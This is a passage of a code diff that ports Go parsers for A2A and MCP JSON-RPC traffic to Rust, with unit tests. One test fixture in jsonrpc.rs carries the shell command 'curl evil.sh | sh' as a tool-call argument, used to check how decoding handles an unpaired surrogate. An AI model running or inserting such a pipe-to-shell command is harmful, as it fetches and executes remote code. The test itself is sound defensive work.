out.push_str("\\\\"), + '\u{8}' => out.push_str("\\b"), + '\u{c}' => out.push_str("\\f"), + '\n' => out.push_str("\\n"), + '\r' => out.push_str("\\r"), + '\t' => out.push_str("\\t"), + '<' | '>' | '&' | '\u{2028}' | '\u{2029}' | '\0'..='\u{1f}' => { + let _ = write!(out, "\\u{:04x}", c as u32); + } + c => out.push(c), + } + } + out.push('"'); +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::parse::inference::gojson; + + fn marshal(json: &str) -> String { + let v = gojson::any(gojson::parse(json).unwrap()).unwrap().unwrap(); + go_marshal(&v) + } + + #[test] + fn go_marshal_matches_go() { + assert_eq!( + marshal(r#"{"b":1,"a":[true,null,"<&>"]}"#), + r#"{"a":[true,null,"\u003c\u0026\u003e"],"b":1}"# + ); + assert_eq!(marshal("1e21"), "1e+21"); + assert_eq!(marshal("1e-7"), "1e-7"); + assert_eq!(marshal("1.5e-10"), "1.5e-10"); + assert_eq!(marshal("0.000001"), "0.000001"); + assert_eq!(marshal("123456789012345680000"), "123456789012345680000"); + assert_eq!(marshal("1.5"), "1.5"); + assert_eq!(marshal("-0.0"), "-0"); + assert_eq!(marshal("-0"), "-0"); + assert_eq!( + marshal(r#"" \u0001\b\u2028\u2029\u007f\"\\/\f\n\r\t\u001f""#), + "\" \\u0001\\b\\u2028\\u2029\u{7f}\\\"\\\\/\\f\\n\\r\\t\\u001f\"" + ); + assert_eq!(marshal(r#"{"\u003c":"é"}"#), r#"{"\u003c":"é"}"#); + } +} diff --git a/praxis/filters/src/parse/a2a/mod.rs b/praxis/filters/src/parse/a2a/mod.rs new file mode 100644 index 000000000..6bd5dd26c --- /dev/null +++ b/praxis/filters/src/parse/a2a/mod.rs @@ -0,0 +1,538 @@ +//! Port of core/parse/a2a/a2a.go: parses A2A JSON-RPC 2.0 requests and responses. + +mod marshal; +mod observer; + +pub use observer::A2aObserver; + +use http::HeaderMap; +use serde_json::Value; +use serde_json::value::RawValue; + +pub(crate) use marshal::go_marshal; + +use crate::parse::decode::decode_request_body; +use crate::parse::inference::gojson::{self, R}; +use crate::parse::inference::text::go_lossy_utf8; +use crate::parse::jsonrpc::{decode_request, for_each_data_payload}; +use crate::parse::model::{A2aExtension, A2aPart}; + +/// Port of ParseRequest. `None` when the parser does not claim the request. +/// The Go `path` argument is used only in log lines, so it is not ported. +pub fn parse_request(headers: &HeaderMap, body: &[u8]) -> Option { + let body = decode_request_body(headers, body); + if body.is_empty() { + return None; + } + let rpc = decode_request(&body)?; + if !is_a2a_method(&rpc.method) { + return None; + } + let mut ext = A2aExtension { + is_action: is_a2a_action(&rpc.method), + method: rpc.method.clone(), + rpc_id: rpc.id.clone(), + ..Default::default() + }; + ext.session_id = rpc.string_param("contextId"); + if ext.session_id.is_empty() { + ext.session_id = rpc.string_param("sessionId"); + } + if let Some(msg) = rpc.map_param("message") { + let str_of = |k: &str| msg.get(k).and_then(Value::as_str).map(str::to_owned); + if let Some(s) = str_of("taskId") { + ext.task_id = s; + } + if ext.session_id.is_empty() + && let Some(s) = str_of("contextId") + { + ext.session_id = s; + } + if let Some(s) = str_of("role") { + ext.role = s; + } + if let Some(s) = str_of("messageId") { + ext.message_id = s; + } + if let Some(Value::Array(raw)) = msg.get("parts") { + ext.parts = parse_a2a_parts(raw); + } + } + if ext.task_id.is_empty() && task_id_param_is_id(&rpc.method) { + ext.task_id = rpc.string_param("id"); + } + if ext.task_id.is_empty() { + ext.task_id = rpc.string_param("taskId"); + } + Some(ext) +} + +/// Port of ParseResponse: folds one whole body or one SSE frame into `ext`. +pub fn parse_response(body: &[u8], ext: &mut A2aExtension) { + extract_response_summary(body, ext); + if ext.session_id.is_empty() { + let sid = extract_session_id(body); + if !sid.is_empty() { + ext.session_id = sid; + } + } +} + +/// maxArtifactBytes: the cap on the artifact text of one response. +const MAX_ARTIFACT_BYTES: usize = 64 * 1024; + +/// Port of appendCapped. Go cuts `s` at a byte index, so a Go string can hold a +/// part of a UTF-8 sequence, and Go's json.Marshal writes one U+FFFD for each of +/// its bytes. A Rust `String` cannot hold it, so the U+FFFDs go in here. +fn append_capped(dst: &mut String, s: &str) { + const TRUNC_MARKER: &str = "…(truncated)"; + if dst.len() >= MAX_ARTIFACT_BYTES { + return; + } + let remaining = MAX_ARTIFACT_BYTES - dst.len(); + if s.len() <= remaining { + dst.push_str(s); + return; + } + let mut cut = remaining; + while !s.is_char_boundary(cut) { + cut -= 1; + } + dst.push_str(&s[..cut]); + dst.extend(std::iter::repeat_n('\u{FFFD}', remaining - cut)); + dst.push_str(TRUNC_MARKER); +} + +/// Decodes `body` as Go's json.Unmarshal does into the struct that `f` fills. +/// `None` on a syntax error or a type error. +fn decode(body: &[u8], f: impl FnOnce(&RawValue, &mut T) -> R) -> Option { + let text = go_lossy_utf8(body).text; + let raw = gojson::parse(&text).ok()?; + let mut v = T::default(); + f(raw, &mut v).ok()?; + Some(v) +} + +/// Calls `f` on each entry of a Go struct's JSON object. null changes nothing. +fn fields<'a>(raw: &'a RawValue, mut f: impl FnMut(&str, &'a RawValue) -> R) -> R { + for (k, v) in gojson::object(raw)?.unwrap_or_default() { + f(&k, v)?; + } + Ok(()) +} + +/// The Go `struct { Kind string; Text string }` of a part. +#[derive(Default)] +struct TextPart { + kind: String, + text: String, +} + +/// Decodes a `[]struct{Kind, Text}` field. null sets it to nil. +fn parts_into(dst: &mut Vec, raw: &RawValue) -> R { + *dst = gojson::slice(raw, |r| { + let mut p = TextPart::default(); + fields(r, |k, v| { + if gojson::is(k, "kind") { + gojson::string_into(&mut p.kind, v) + } else if gojson::is(k, "text") { + gojson::string_into(&mut p.text, v) + } else { + Ok(()) + } + })?; + Ok(p) + })? + .unwrap_or_default(); + Ok(()) +} + +/// Decodes `{"parts": [...]}` into `dst`. +fn parts_field_into(dst: &mut Vec, raw: &RawValue) -> R { + fields(raw, |k, v| { + if gojson::is(k, "parts") { + parts_into(dst, v) + } else { + Ok(()) + } + }) +} + +/// Port of extractResponseSummary. +fn extract_response_summary(body: &[u8], ext: &mut A2aExtension) { + if gojson::parse(&go_lossy_utf8(body).text).is_ok() { + fold_response(body, ext); + return; + } + // Port of extractStreamResponse: fold each data: line as one event. + for_each_data_payload(body, |data| { + fold_response(data, ext); + false + }); +} + +/// Port of foldResponse. +fn fold_response(data: &[u8], ext: &mut A2aExtension) { + if !extract_send_response(data, ext) { + extract_stream_event(data, ext); + } +} + +/// The `result` of the Go struct in extractSendResponse. +#[derive(Default)] +struct SendResult { + state: String, + status_parts: Vec, + artifacts: Vec>, + kind: Option, + id: Option, + task_id: String, +} + +/// Port of extractSendResponse. +fn extract_send_response(body: &[u8], ext: &mut A2aExtension) -> bool { + let Some(r) = decode(body, |raw, r: &mut SendResult| { + fields(raw, |k, v| { + if !gojson::is(k, "result") { + return Ok(()); + } + fields(v, |k, v| { + if gojson::is(k, "status") { + fields(v, |k, v| { + if gojson::is(k, "state") { + gojson::string_into(&mut r.state, v) + } else if gojson::is(k, "message") { + parts_field_into(&mut r.status_parts, v) + } else { + Ok(()) + } + }) + } else if gojson::is(k, "artifacts") { + r.artifacts = gojson::slice(v, |a| { + let mut parts = Vec::new(); + parts_field_into(&mut parts, a)?; + Ok(parts) + })? + .unwrap_or_default(); + Ok(()) + } else if gojson::is(k, "kind") { + r.kind = gojson::any(v)?; + Ok(()) + } else if gojson::is(k, "id") { + r.id = gojson::any(v)?; + Ok(()) + } else if gojson::is(k, "taskId") { + gojson::string_into(&mut r.task_id, v) + } else { + Ok(()) + } + }) + }) + }) else { + return false; + }; + if r.state.is_empty() { + return false; + } + let id = result_task_id(r.kind.as_ref(), r.id.as_ref(), &r.task_id); + if ext.task_id.is_empty() && !id.is_empty() { + ext.task_id = id; + } + for part in r.artifacts.iter().flatten() { + if part.kind == "text" && !part.text.is_empty() { + ext.artifact.clone_from(&part.text); + } + } + if r.state == "failed" + && let Some(p) = r + .status_parts + .iter() + .find(|p| p.kind == "text" && !p.text.is_empty()) + { + ext.error_message.clone_from(&p.text); + } + ext.final_status = r.state; + true +} + +/// The `result` of the Go struct in extractStreamEvent. +#[derive(Default)] +struct StreamResult { + kind: String, + id: Option, + task_id: String, + artifact_parts: Vec, +} + +/// Port of extractStreamEvent. +fn extract_stream_event(data: &[u8], ext: &mut A2aExtension) { + let Some(r) = decode(data, |raw, r: &mut StreamResult| { + fields(raw, |k, v| { + if !gojson::is(k, "result") { + return Ok(()); + } + fields(v, |k, v| { + if gojson::is(k, "kind") { + gojson::string_into(&mut r.kind, v) + } else if gojson::is(k, "id") { + r.id = gojson::any(v)?; + Ok(()) + } else if gojson::is(k, "taskId") { + gojson::string_into(&mut r.task_id, v) + } else if gojson::is(k, "artifact") { + parts_field_into(&mut r.artifact_parts, v) + } else { + Ok(()) + } + }) + }) + }) else { + return; + }; + let kind = Value::String(r.kind.clone()); + let id = result_task_id(Some(&kind), r.id.as_ref(), &r.task_id); + if ext.task_id.is_empty() && !id.is_empty() { + ext.task_id = id; + } + if matches!(r.kind.as_str(), "artifact-update" | "artifact") { + for part in &r.artifact_parts { + if part.kind == "text" && !part.text.is_empty() { + append_capped(&mut ext.artifact, &part.text); + } + } + } +} + +/// Port of taskIDParamIsID: the params of the method are TaskIdParams or extend them. +fn task_id_param_is_id(method: &str) -> bool { + matches!( + method, + "tasks/get" + | "tasks/cancel" + | "tasks/resubscribe" + | "tasks/pushNotificationConfig/get" + | "tasks/pushNotificationConfig/list" + | "tasks/pushNotificationConfig/delete" + ) +} + +/// Port of resultTaskID. A Task (kind "task") has its id in `id`; other results in `taskId`. +fn result_task_id(kind: Option<&Value>, id: Option<&Value>, task_id: &str) -> String { + if kind.and_then(Value::as_str) == Some("task") { + return id.and_then(Value::as_str).unwrap_or_default().to_owned(); + } + task_id.to_owned() +} + +/// Port of extractSessionID: contextId (first) or sessionId, from the body or its SSE events. +fn extract_session_id(body: &[u8]) -> String { + let sid = session_id_from_json(body); + if !sid.is_empty() { + return sid; + } + let mut found = String::new(); + for_each_data_payload(body, |data| { + found = session_id_from_json(data); + !found.is_empty() + }); + found +} + +/// Port of sessionIDFromJSON. +fn session_id_from_json(data: &[u8]) -> String { + let ids = decode(data, |raw, ids: &mut (String, String)| { + fields(raw, |k, v| { + if !gojson::is(k, "result") { + return Ok(()); + } + fields(v, |k, v| { + if gojson::is(k, "contextId") { + gojson::string_into(&mut ids.0, v) + } else if gojson::is(k, "sessionId") { + gojson::string_into(&mut ids.1, v) + } else { + Ok(()) + } + }) + }) + }); + match ids { + Some((ctx, _)) if !ctx.is_empty() => ctx, + Some((_, sid)) => sid, + None => String::new(), + } +} + +/// Port of parseA2AParts. +fn parse_a2a_parts(raw_parts: &[Value]) -> Vec { + let mut parts = Vec::with_capacity(raw_parts.len()); + for raw in raw_parts { + let Some(part) = raw.as_object() else { + continue; + }; + let kind = match part.get("kind").and_then(Value::as_str) { + Some(k) if !k.is_empty() => k, + _ => continue, + }; + let str_of = |k: &str| part.get(k).and_then(Value::as_str).unwrap_or_default(); + let content = match kind { + "text" => str_of("text").to_owned(), + "file" => match str_of("data") { + "" => str_of("uri").to_owned(), + d => d.to_owned(), + }, + "data" => match part.get("data") { + Some(v) if !v.is_null() => go_marshal(v), + _ => String::new(), + }, + _ => String::new(), + }; + parts.push(A2aPart { + kind: kind.to_owned(), + content, + }); + } + parts +} + +/// Port of isA2AMethod: the method is in the message/, tasks/ or agent/ namespace. +fn is_a2a_method(method: &str) -> bool { + ["message/", "tasks/", "agent/"] + .iter() + .any(|p| method.starts_with(p)) +} + +/// Port of isA2AAction: the method carries a user message. +fn is_a2a_action(method: &str) -> bool { + matches!(method, "message/send" | "message/stream") +} + +#[cfg(test)] +mod tests { + use super::*; + + fn request(body: &str) -> Option { + parse_request(&HeaderMap::new(), body.as_bytes()) + } + + #[test] + fn append_capped_cuts_once() { + let mut a = "a".repeat(MAX_ARTIFACT_BYTES - 2); + append_capped(&mut a, "bcd"); + assert_eq!(&a[MAX_ARTIFACT_BYTES - 3..], "abc…(truncated)"); + let len = a.len(); + append_capped(&mut a, "e"); + assert_eq!(a.len(), len); + + let mut b = String::new(); + append_capped(&mut b, "xy"); + append_capped(&mut b, "z"); + assert_eq!(b, "xyz"); + } + + #[test] + fn append_capped_cut_rune_is_replaced() { + // "€" is 3 bytes; the cap falls after its first 2. Go keeps 2 bytes, and + // its json.Marshal writes one U+FFFD for each. + let mut a = "a".repeat(MAX_ARTIFACT_BYTES - 3); + append_capped(&mut a, "b€"); + assert!(a.ends_with("ab\u{FFFD}\u{FFFD}…(truncated)"), "{a:?}"); + } + + #[test] + fn data_part_content_is_go_json() { + let ext = request( + r#"{"method":"message/send","params":{"message":{"parts":[ + {"kind":"data","data":{"z":1,"a":""}}, + {"kind":"data","data":null}, + {"kind":"file","uri":"u"}, + {"kind":"file","data":"d","uri":"u"}, + {"kind":""}, + {"kind":1}, + 7, + {"kind":"other","text":"t"} + ]}}}"#, + ) + .unwrap(); + let got: Vec<(&str, &str)> = ext + .parts + .iter() + .map(|p| (p.kind.as_str(), p.content.as_str())) + .collect(); + assert_eq!( + got, + [ + ("data", r#"{"a":"\u003cx\u003e","z":1}"#), + ("data", ""), + ("file", "u"), + ("file", "d"), + ("other", ""), + ] + ); + } + + #[test] + fn number_task_id_gives_no_task_id() { + let mut ext = A2aExtension::default(); + parse_response( + br#"{"result":{"kind":"task","id":123,"status":{"state":"completed"}}}"#, + &mut ext, + ); + assert_eq!(ext.final_status, "completed"); + assert_eq!(ext.task_id, ""); + } + + #[test] + fn request_rules() { + assert!(request("").is_none()); + assert!(request(r#"{"method":"tools/call"}"#).is_none()); + assert!(request(r#"[{"method":"message/send"}]"#).is_none()); + let ext = request( + r#"{"method":"tasks/get","id":1,"params":{"id":"t1","taskId":"t2","sessionId":"s"}}"#, + ) + .unwrap(); + assert_eq!((ext.task_id.as_str(), ext.session_id.as_str()), ("t1", "s")); + assert!(!ext.is_action); + let ext = request( + r#"{"method":"tasks/pushNotificationConfig/set","params":{"id":"t1","taskId":"t2"}}"#, + ) + .unwrap(); + assert_eq!(ext.task_id, "t2"); + let ext = + request(r#"{"method":"message/send","params":{"message":{"contextId":"c"}}}"#).unwrap(); + assert_eq!(ext.session_id, "c"); + assert!(ext.is_action); + } + + #[test] + fn response_rules() { + // A failed task gives the first text part of its status message. + let mut ext = A2aExtension::default(); + parse_response( + br#"{"result":{"status":{"state":"failed","message":{"parts":[{"kind":"text","text":""},{"kind":"text","text":"e1"},{"kind":"text","text":"e2"}]}},"artifacts":[{"parts":[{"kind":"text","text":"a1"}]},{"parts":[{"kind":"text","text":"a2"},{"kind":"data"}]}],"contextId":"c","sessionId":"s"}}"#, + &mut ext, + ); + assert_eq!(ext.error_message, "e1"); + assert_eq!(ext.artifact, "a2"); + assert_eq!(ext.session_id, "c"); + + // A number part kind fails the send decode; the stream decode then sees no artifact kind. + let mut ext = A2aExtension::default(); + parse_response( + br#"{"result":{"kind":"artifact-update","taskId":"t","status":{"state":"x","message":{"parts":[{"kind":1}]}},"artifact":{"parts":[{"kind":"text","text":"p"}]}}}"#, + &mut ext, + ); + assert_eq!(ext.final_status, ""); + assert_eq!(ext.task_id, "t"); + assert_eq!(ext.artifact, "p"); + + // An SSE body: artifact-update texts are joined, and the session id comes from a later event. + let mut ext = A2aExtension::default(); + parse_response( + b"data: {\"result\":{\"kind\":\"artifact-update\",\"artifact\":{\"parts\":[{\"kind\":\"text\",\"text\":\"a\"}]}}}\n\ndata: {\"result\":{\"kind\":\"artifact\",\"sessionId\":\"s\",\"artifact\":{\"parts\":[{\"kind\":\"text\",\"text\":\"b\"}]}}}\n", + &mut ext, + ); + assert_eq!(ext.artifact, "ab"); + assert_eq!(ext.session_id, "s"); + } +} diff --git a/praxis/filters/src/parse/a2a/observer.rs b/praxis/filters/src/parse/a2a/observer.rs new file mode 100644 index 000000000..be226c45e --- /dev/null +++ b/praxis/filters/src/parse/a2a/observer.rs @@ -0,0 +1,36 @@ +//! Port of the a2a-parser plugin's dispatch: `OnRequest` and `OnResponseFrame` +//! in core/plugins/a2aparser/hooks.go. The Observe and Skip calls are not ported. + +use http::HeaderMap; + +use super::{parse_request, parse_response}; +use crate::parse::model::A2aExtension; + +/// Parses one request and the response to it, as the plugin does. +pub struct A2aObserver { + ext: Option, +} + +impl A2aObserver { + /// Port of `OnRequest`. The extension stays `None` when the parser does + /// not claim the request. + pub fn on_request(headers: &HeaderMap, body: &[u8]) -> Self { + Self { + ext: parse_request(headers, body), + } + } + + /// Port of `OnResponseFrame`: each frame that is not empty is folded into the + /// extension. A frame is one SSE event, or the whole buffered body. + pub fn on_response_frame(&mut self, frame: &[u8], _last: bool) { + if let Some(ext) = self.ext.as_mut() + && !frame.is_empty() + { + parse_response(frame, ext); + } + } + + pub fn extension(&self) -> Option<&A2aExtension> { + self.ext.as_ref() + } +} diff --git a/praxis/filters/src/parse/inference/gojson.rs b/praxis/filters/src/parse/inference/gojson.rs index 164cb9a0b..218d16c76 100644 --- a/praxis/filters/src/parse/inference/gojson.rs +++ b/praxis/filters/src/parse/inference/gojson.rs @@ -9,6 +9,8 @@ //! error is a `Bad`: the Go callers treat a syntax error and a type error the //! same way. +use std::borrow::Cow; + use serde::Deserialize; use serde::de::{Deserializer, MapAccess, Visitor}; use serde_json::Value; @@ -189,12 +191,11 @@ pub(crate) fn float(raw: &RawValue) -> R> { /// A Go `any`: numbers are float64, a duplicate key's last value wins. `None` for null. /// -/// shortcut: serde_json's own `Value` parser, so a value nested deeper than 128 levels or -/// a string with an unpaired surrogate escape is not decoded, where Go takes it (Go's limit -/// is 10000, and it writes U+FFFD). For those two, `any` gives `Ok(None)`, so the caller -/// keeps the rest of the extension with this one field unset. A number out of float64 -/// range is still `Err`, as in Go. A deep `Value` also overflows the stack on drop, so a -/// port of Go's limit needs a non-recursive `Value` first. +/// shortcut: serde_json's own `Value` parser, so a value nested deeper than 128 levels is +/// not decoded, where Go takes it (Go's limit is 10000). For that one, `any` gives +/// `Ok(None)`, so the caller keeps the rest of the extension with this one field unset. +/// A number out of float64 range is still `Err`, as in Go. A deep `Value` also overflows +/// the stack on drop, so a port of Go's limit needs a non-recursive `Value` first. pub(crate) fn any(raw: &RawValue) -> R> { fn to_f64(v: &mut Value) { match v { @@ -204,7 +205,11 @@ pub(crate) fn any(raw: &RawValue) -> R> { _ => {} } } - let mut v: Value = match serde_json::from_str(raw.get()) { + let parse = |t: &str| serde_json::from_str::(t); + let mut v = match parse(raw.get()).or_else(|e| match fffd_unpaired_surrogates(raw.get()) { + Cow::Owned(t) => parse(&t), + Cow::Borrowed(_) => Err(e), + }) { Ok(v) => v, // Go also fails on this one; serde_json gives no error code to match. Err(e) if e.to_string().starts_with("number out of range") => return Err(Bad), @@ -214,6 +219,43 @@ pub(crate) fn any(raw: &RawValue) -> R> { Ok((!v.is_null()).then_some(v)) } +/// Rewrites each unpaired surrogate escape in JSON text to `\ufffd`, as Go's unquote +/// does, so that serde_json, which refuses one, decodes the value. The text is valid JSON, +/// so a backslash is always inside a string. +fn fffd_unpaired_surrogates(text: &str) -> Cow<'_, str> { + if !text.contains("\\u") { + return text.into(); + } + let mut out = String::with_capacity(text.len()); + let mut rest = text; + let mut changed = false; + while let Some(i) = rest.find('\\') { + out.push_str(&rest[..i]); + rest = &rest[i..]; + let Some(r) = getu4(rest).filter(|r| (0xd800..0xe000).contains(r)) else { + out.push_str(&rest[..2]); + rest = &rest[2..]; + continue; + }; + match getu4(&rest[6..]) { + Some(r2) if r < 0xdc00 && (0xdc00..0xe000).contains(&r2) => { + out.push_str(&rest[..12]); + rest = &rest[12..]; + } + _ => { + out.push_str("\\ufffd"); + rest = &rest[6..]; + changed = true; + } + } + } + if !changed { + return text.into(); + } + out.push_str(rest); + out.into() +} + /// Reports whether an object key selects the field `name`: Go compares them /// with bytes.EqualFold. `name` is ASCII, so the only non-ASCII runes that /// fold to one of its letters are U+017F (s) and U+212A (k). @@ -329,4 +371,21 @@ mod tests { assert_eq!(v, serde_json::json!({"a": [2.0, "\u{e9}"]})); assert!(any(parse("null").unwrap()).unwrap().is_none()); } + + #[test] + fn any_unpaired_surrogate_is_fffd_as_go() { + let v = any(parse(r#"{"a":"\ud800","b":"\ud800\ud800\udc00","\udc00k":[1,"x\udc00"],"c":"\\ud800","d":"\ud83d\ude00"}"#).unwrap()) + .unwrap() + .unwrap(); + assert_eq!( + v, + serde_json::json!({ + "a": "\u{fffd}", + "b": "\u{fffd}\u{10000}", + "\u{fffd}k": [1.0, "x\u{fffd}"], + "c": "\\ud800", + "d": "\u{1F600}", + }) + ); + } } diff --git a/praxis/filters/src/parse/inference/mod.rs b/praxis/filters/src/parse/inference/mod.rs index f42f8bd84..988e6a70d 100644 --- a/praxis/filters/src/parse/inference/mod.rs +++ b/praxis/filters/src/parse/inference/mod.rs @@ -5,7 +5,7 @@ mod anthropic; mod dialect; -mod gojson; +pub(crate) mod gojson; mod observer; mod openai; mod responses; diff --git a/praxis/filters/src/parse/jsonrpc.rs b/praxis/filters/src/parse/jsonrpc.rs new file mode 100644 index 000000000..5ea0a7ae3 --- /dev/null +++ b/praxis/filters/src/parse/jsonrpc.rs @@ -0,0 +1,158 @@ +//! Port of core/internal/parsercommon/parsercommon.go and of the JSON-RPC request +//! decode and the `data:` line scan that core/parse/mcp and core/parse/a2a share. + +use serde_json::value::RawValue; +use serde_json::{Map, Value}; + +use crate::parse::inference::gojson::{self, R}; +use crate::parse::inference::text::{go_lossy_utf8, go_trim_space}; +use crate::parse::sse::normalize_sse; + +/// Port of parsercommon.JSONRPCRequest. +#[derive(Debug, Default)] +pub(crate) struct JsonRpcRequest { + pub method: String, + pub id: Option, + pub params: Option>, +} + +impl JsonRpcRequest { + /// Port of StringParam: params[key] when it is a string, else "". + pub(crate) fn string_param(&self, key: &str) -> String { + match self.params.as_ref().and_then(|p| p.get(key)) { + Some(Value::String(s)) => s.clone(), + _ => String::new(), + } + } + + /// Port of MapParam: params[key] when it is an object, else None. + pub(crate) fn map_param(&self, key: &str) -> Option<&Map> { + self.params.as_ref()?.get(key)?.as_object() + } +} + +/// Decodes a JSON-RPC request with the rules of Go's json.Unmarshal. `body` is +/// already through decode_request_body. `None` when the body is not a JSON object +/// (Go skips the decode and claims nothing), or when the decode fails: a syntax +/// error or a type error, for example a `params` that is not an object. +pub(crate) fn decode_request(body: &[u8]) -> Option { + let start = body.iter().position(|b| !b" \t\r\n".contains(b))?; + if body[start] != b'{' { + return None; + } + let text = go_lossy_utf8(body).text; + let raw = gojson::parse(&text).ok()?; + decode_into(raw).ok() +} + +fn decode_into(raw: &RawValue) -> R { + let mut r = JsonRpcRequest::default(); + for (k, v) in gojson::object(raw)?.unwrap_or_default() { + if gojson::is(&k, "method") { + gojson::string_into(&mut r.method, v)?; + } else if gojson::is(&k, "id") { + // null sets a Go any to nil. + r.id = gojson::any(v)?; + } else if gojson::is(&k, "params") { + match gojson::object(v)? { + // null sets a Go map to nil. + None => r.params = None, + // Go decodes a second object into the map it already has. + Some(entries) => { + let m = r.params.get_or_insert_with(Map::new); + for (pk, pv) in entries { + m.insert(pk, gojson::any(pv)?.unwrap_or(Value::Null)); + } + } + } + } + } + Ok(r) +} + +/// Calls `f` on each `data:` payload of an SSE body, in order, and stops when `f` gives true. +/// The Go scan: normalize the line endings, split on LF, trim each line, keep the +/// lines that start with `data:`, trim the rest, and skip an empty payload. +pub(crate) fn for_each_data_payload(body: &[u8], mut f: impl FnMut(&[u8]) -> bool) { + for line in normalize_sse(body).split(|&b| b == b'\n') { + let Some(data) = go_trim_space(line).strip_prefix(b"data:") else { + continue; + }; + let data = go_trim_space(data); + if !data.is_empty() && f(data) { + return; + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn decode_request_rules() { + assert!(decode_request(b"[1]").is_none()); + assert!(decode_request(b" x").is_none()); + assert!(decode_request(br#"{"method":"m","params":1}"#).is_none()); + assert!(decode_request(br#"{"method":1}"#).is_none()); + assert!(decode_request(br#"{"method":"m"} x"#).is_none()); + + // A second params object merges into the first; a later key wins. + let r = + decode_request(br#" {"method":"m","params":{"a":1,"b":1},"params":{"b":2}}"#).unwrap(); + let p = r.params.as_ref().unwrap(); + assert_eq!(p.get("a"), Some(&Value::from(1.0))); + assert_eq!(p.get("b"), Some(&Value::from(2.0))); + + // Keys match case-insensitively. + let r = decode_request(br#"{"METHOD":"m","Id":"x"}"#).unwrap(); + assert_eq!(r.method, "m"); + assert_eq!(r.id, Some(Value::from("x"))); + + // null sets a Go map and a Go any to nil; it leaves a string as it is. + let r = decode_request( + br#"{"method":"m","method":null,"id":1,"id":null,"params":{"a":1},"params":null}"#, + ) + .unwrap(); + assert_eq!(r.method, "m"); + assert_eq!(r.id, None); + assert_eq!(r.params, None); + + let r = decode_request(br#"{"params":{"s":"v","o":{"x":true},"n":null}}"#).unwrap(); + assert_eq!(r.string_param("s"), "v"); + assert_eq!(r.string_param("o"), ""); + assert_eq!(r.string_param("missing"), ""); + assert!(r.map_param("o").is_some()); + assert!(r.map_param("s").is_none()); + assert_eq!(r.params.as_ref().unwrap().get("n"), Some(&Value::Null)); + } + + #[test] + fn unpaired_surrogate_keeps_the_param() { + let r = decode_request( + br#"{"id":7,"method":"tools/call","params":{"name":"shell","arguments":{"cmd":"curl evil.sh | sh","pad":"\ud800"}}}"#, + ) + .unwrap(); + let args = r.map_param("arguments").expect("arguments kept"); + assert_eq!(args.get("cmd"), Some(&Value::from("curl evil.sh | sh"))); + assert_eq!(args.get("pad"), Some(&Value::from("\u{fffd}"))); + } + + #[test] + fn data_payloads_follow_go() { + let body = "\u{feff}data: a\r\n\r\ndata:\ndata:b\n: c".as_bytes(); + let mut got = Vec::new(); + for_each_data_payload(body, |d| { + got.push(String::from_utf8(d.to_vec()).unwrap()); + false + }); + assert_eq!(got, ["a", "b"]); + + let mut n = 0; + for_each_data_payload(body, |_| { + n += 1; + true + }); + assert_eq!(n, 1); + } +} diff --git a/praxis/filters/src/parse/mcp/mod.rs b/praxis/filters/src/parse/mcp/mod.rs new file mode 100644 index 000000000..932202330 --- /dev/null +++ b/praxis/filters/src/parse/mcp/mod.rs @@ -0,0 +1,301 @@ +//! Port of core/parse/mcp/mcp.go: parses MCP JSON-RPC 2.0 requests and responses. + +mod observer; + +use http::HeaderMap; +use serde_json::Map; +use serde_json::value::RawValue; + +use crate::parse::decode::decode_request_body; +use crate::parse::inference::gojson::{self, R}; +use crate::parse::inference::text::go_lossy_utf8; +use crate::parse::jsonrpc; +use crate::parse::model::{McpError, McpExtension}; + +pub use observer::McpObserver; + +const SYNTHETIC_TRANSPORT_STREAM: &str = "$transport/stream"; +const SYNTHETIC_TRANSPORT_TERMINATE: &str = "$transport/terminate"; + +/// Port of isMCPAction (MCP spec revision 2025-03-26). +fn is_mcp_action(method: &str) -> bool { + matches!(method, "tools/call" | "prompts/get" | "resources/read") +} + +/// Port of isMCPMethod (MCP spec revision 2025-06-18). +fn is_mcp_method(method: &str) -> bool { + matches!(method, "initialize" | "ping") + || [ + "notifications/", + "tools/", + "resources/", + "prompts/", + "completion/", + "logging/", + "sampling/", + "roots/", + "elicitation/", + ] + .iter() + .any(|p| method.starts_with(p)) +} + +/// Port of bypass.Matcher.Match for the default mcp-parser paths, `["/mcp"]`. +/// shortcut: only the default "/mcp" pattern, no globs; port path.Match when praxis mode reads mcp-parser config +fn is_mcp_path(path: &str) -> bool { + let path = path.split_once('?').map_or(path, |(p, _)| p); + go_path_clean(path) == "/mcp" +} + +/// Port of Go's path.Clean. +fn go_path_clean(path: &str) -> String { + if path.is_empty() { + return ".".to_owned(); + } + let rooted = path.starts_with('/'); + let mut out: Vec<&str> = Vec::new(); + for elem in path.split('/') { + match elem { + "" | "." => {} + ".." => match out.last() { + Some(&l) if l != ".." => { + out.pop(); + } + // A rooted path cannot go above the root. + _ if rooted => {} + _ => out.push(".."), + }, + e => out.push(e), + } + } + let joined = out.join("/"); + match (rooted, joined.is_empty()) { + (true, _) => format!("/{joined}"), + (false, true) => ".".to_owned(), + (false, false) => joined, + } +} + +/// Port of mcp.ParseRequest with the default paths matcher `["/mcp"]`. `path` may +/// have a query. `None` when the parser does not claim the request. +pub fn parse_request( + method: &str, + path: &str, + headers: &HeaderMap, + body: &[u8], +) -> Option { + let body = decode_request_body(headers, body); + if body.is_empty() { + if !is_mcp_path(path) { + return None; + } + let session = headers.get("mcp-session-id").is_some_and(|v| !v.is_empty()); + let synthetic = match method { + "DELETE" if session => SYNTHETIC_TRANSPORT_TERMINATE, + "GET" => SYNTHETIC_TRANSPORT_STREAM, + _ => return None, + }; + return Some(McpExtension { + method: synthetic.to_owned(), + ..Default::default() + }); + } + let rpc = jsonrpc::decode_request(&body)?; + if !is_mcp_method(&rpc.method) { + return None; + } + Some(McpExtension { + is_action: is_mcp_action(&rpc.method), + method: rpc.method, + rpc_id: rpc.id, + params: rpc.params, + ..Default::default() + }) +} + +/// Port of mcp.ParseResponse: reads one MCP response (plain JSON-RPC, or an SSE +/// body or frame) into `ext`. False, with `ext` unchanged, when `body` holds no +/// JSON-RPC result or error. +pub fn parse_response(body: &[u8], ext: &mut McpExtension) -> bool { + let Some(rpc) = parse_rpc_response(body) else { + return false; + }; + if let Some(e) = rpc.error { + ext.err = Some(e); + } else if rpc.result.is_some() { + ext.result = rpc.result; + } + true +} + +/// Port of jsonRPCResponse. `id` is decoded only for its type errors. +#[derive(Default)] +struct RpcResponse { + result: Option>, + error: Option, +} + +impl RpcResponse { + fn answers(&self) -> bool { + self.result.is_some() || self.error.is_some() + } +} + +/// Port of parseResponse: a whole-body decode first, then the SSE `data:` lines. +/// The first one with a result or an error wins. +fn 